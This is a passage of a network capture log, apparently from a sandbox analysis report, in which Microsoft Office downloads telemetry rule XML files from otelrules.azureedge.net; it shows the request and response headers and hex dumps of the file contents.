2024-10-05 12:34:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	57504	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:12 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:12 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:12 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 704395e8-201e-005d-718c-15afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123412Z-15767c5fc55rg5b7sh1vuv8t7n0000000ec000000000b98q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:12 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	57506	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:12 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:12 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:12 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08bf7a15-f01e-0020-7706-17956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123412Z-1657d5bbd4824mj9d6vp65b6n400000000q000000000awbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:12 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	57503	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:12 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:12 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 0da95f5c-701e-0097-318c-15b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123412Z-15767c5fc55gq5fmm10nm5qqr80000000e8g0000000001n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	57507	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:12 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:12 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:12 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 7d21ea5d-701e-0098-0502-17395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123412Z-1657d5bbd48jwrqbupe3ktsx9w00000000sg000000003kp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:12 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	57510	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:12 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:13 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:12 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: b6fa471e-401e-0067-43e5-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123412Z-1657d5bbd48qjg85buwfdynm5w00000000m0000000005bg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	57508	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:12 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:12 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 023e591f-a01e-003d-618c-1598d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123412Z-15767c5fc554wklc0x4mc5pq0w0000000e8000000000p1g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:13 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	57509	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:12 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:13 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:12 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 77012b0e-b01e-0097-0bff-164f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123412Z-1657d5bbd48p2j6x2quer0q02800000000t00000000021eq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	57511	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:13 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:13 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: d4fd285a-d01e-005a-06ed-167fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123413Z-1657d5bbd48xlwdx82gahegw4000000000ng00000000f278 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:13 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	57512	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:13 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 819d4321-f01e-0020-6e8c-15956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123413Z-15767c5fc55whfstvfw43u8fp40000000e5000000000cuev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	57513	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:13 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:13 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: c9f5ea47-201e-0071-33fe-16ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123413Z-1657d5bbd48tnj6wmberkg2xy800000000pg000000000r6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	57514	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:13 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:13 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:13 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 76dbcc6a-501e-0035-36ed-16c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123413Z-1657d5bbd4824mj9d6vp65b6n400000000pg00000000bw3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 